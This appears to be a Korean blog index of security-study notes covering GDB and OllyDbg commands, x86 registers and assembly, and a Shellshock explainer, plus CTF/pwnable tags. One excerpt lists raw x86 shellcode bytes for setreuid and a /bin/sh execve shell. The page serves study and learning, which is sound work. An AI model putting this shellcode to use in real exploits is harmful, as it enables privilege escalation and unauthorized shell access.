set disassembly-flavor [명령어 형식]- intel과 at&t가 있음 disas [함수이름]- 함수의 어셈블리 코드를 보는 명령어 b * [메모리주소]- breakpoint를 거는 명령어- 메모리 주소나 함수의 이름 혹은 offset+O으로 걸어도 됌 info b- breakpoint 정보를 열람 할 수 있는 명령어 d (breakpoint 번호)- breakpoint를 삭제할 수 있는 명령어 run [매개변수]- gdb 내부에서 프로그램 실행 ni- 다음 인스트럭션 실행 메모리 출력 방식- x/b : 1바이트 출력- x/h : 2바이트 출력- x/w : 4바이트 출력 - x/x : 16진수로 출력- x/u : 10진수로 출력 intel CPU는 바이트를 배열할 때 거꾸로 씀 -> 리틀..
shellshock취약점은 친구들과 발표를 준비한 적이 있어서공부를 조금 했는데요! 먼저 shellshock 취약점은 2014년 9월 24일 발견된 취약점이고, cve-2014-6271로 등록되어 있습니다. shellshock취약점은 bash shell에서 임의의 환경변수에 특정 코드를 삽입하여 실행할 수 있는 취약점입니다. bash shell은 서버 os인 유닉스 및 리눅스에서 많은 역할을 하고 있다는 점에서 매우 위험한 취약점이였습니다. 공격자는 해당 취약점을 이용해 악의적인 명령이 포함된 환경변수를 사용하여 악의적인 행위를 수행 할 수 있습니다. 대략 이 취약점은 40년 정도 존재해 왔다고 합니다. 지금은 패치가 되어있고 이 취약점은 bash버전 4.3이하에서 발생한다고 합니다 ㅎ! 먼저 Shell..
프로그램 제작 원리 .c -> [complie] -> .obj -> [link] -> .exe decompiler는 .exe -> .c 해주는 프로그램이다. 완벽하게 재구성될 수 없으며, 결과가 매우 다양할 수 있다.disassembler는 기계어 -> 어셈블리어로 변환 해주는 프로그램이다. IA32 - 인텔 cpu 구조 크게 4가지로 나누어져 있음. ALU : 전기적인 신호를 계산하는 회로 Register : cpu에 있는 임시 기억 공간가장 빠른 메모리 공간임 Control unit : pc가 연산할때 상태, 결과를 알 수 있음 (EIP, IR, Eflags) I/O unit : 다른 버스들과 입출력하는 통로 역할. *Register 에 대해 자세하게: 범용 레지스터 EAX 연산의 결과를 저장하기 위..
16 Byte | setreuid( geteuid() , geteuid() ); \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 25 Byte | shellcode \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 41 Byte \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xc..
리버싱에 앞선 ollydbg 기초 사용법을 정리 한 것 이다. Ollydbg의 기본 명령어 Ctrl+F2 : 다시 처음부터 디버깅 시작(재실행) F7 : 하나의 OP code 실행(CALL 명령을 만나면, 그 함수 내부로 들어감, Step into) F8 : 하나의 OP code 실행(CALL 명령을 만나면, 따라 들어가지 않고 그냥 함수 실행, Step Over) Ctrl + F9 : 함수 코드 내에서 RETN 명령어까지 실행(함수 탈출 목적) Ctrl+G : 원하는 주소로 이동(코드/메모리를 확인할 때 사용, 실행 X) F4 : cursor 위치까지 실행(디버깅하고 싶은 주소까지 바로 갈 수 있음) ; 코멘트 추가 : Label 추가 F2 : BP 설정/해제 F9 : 실행(BP가 걸려있으면 그곳에서 ..
레지스터 : CPU내부에 존재하는 다목적 저장 공간. - CPU와 한 몸이기 때문에 고속으로 데이터를 처리할 수 있다.레지스터는 범용레지스터, 세그먼트 레지스터, 상태 플래그 레지스터, 명령 포인터 레지스터로 나눌 수 있다. 범용 레지스터 모든 일반적인 목적을 위한 레지스터는 16비트로 되어 있으며, 8비트 레지스터로 나누어질 수 있다. 종류구성용도AX AH, AL수학 연산, I/O연산, INT 21BXBH, BLBASE 또는 PointerCXCH, CL루프 및 반복DXDH, DL다양한 데이터, 문자 출력 386 시피유가 나올 때 4가지의 레지스터가 추가됨. 그것은 EAX, EBX, ECX, EDX 이다E는 ‘extended’(확장됨)을 의미한다. 기존에는 16비트이였지만 32비트로 확장되었다. EAH,..
어셈블리어에 대해 기초적인 것을 정리한 것. 기본 ASM - 아래 내용은 시스템에 해킹 공부에서 필수적인 부분.- GDB에서 어드레스를 찾고, 쉘코드를 작성할 때 등등 알아야 함. MOV연산자 : 레지스터에 어떤 값을 부여하기 위해 씀 MOV 목적지, 값 예) AX를 56h과 같게 하려면MOV AX,56h ; AX의 값이 56h가 되었다. XCHG연산자 : 단순히 두 레지스터를 exchange함. MOV DX, 56hMOV AX, 3FhXCHG DX, AX DX는 56h, AH는 3Fh 인데. 서로의 값을 교환함. *참고로 8비트 레지스터와 16비트 레지스터와 교환하지 않도록 해야 한다.예)XCHG AH, BX INC연산자 : increase, ++을 해줌예) MOV DX, 50h ;DX의 값은 50h로..
- ebp change
- SQLi
- codegate
- hacking
- heap
- tcache
- 해킹
- shellcoding
- fastbin
- fsop
- 본선가고싶다
- overflow
- pwnable
- fastbindup
- pwable
- srop
- glibc
- exit
- HackCTF
- oob
- rt_sigreturn
- pwnable.tw
- TLS
- stack reusing
- FSB
- Total
- Today
- Yesterday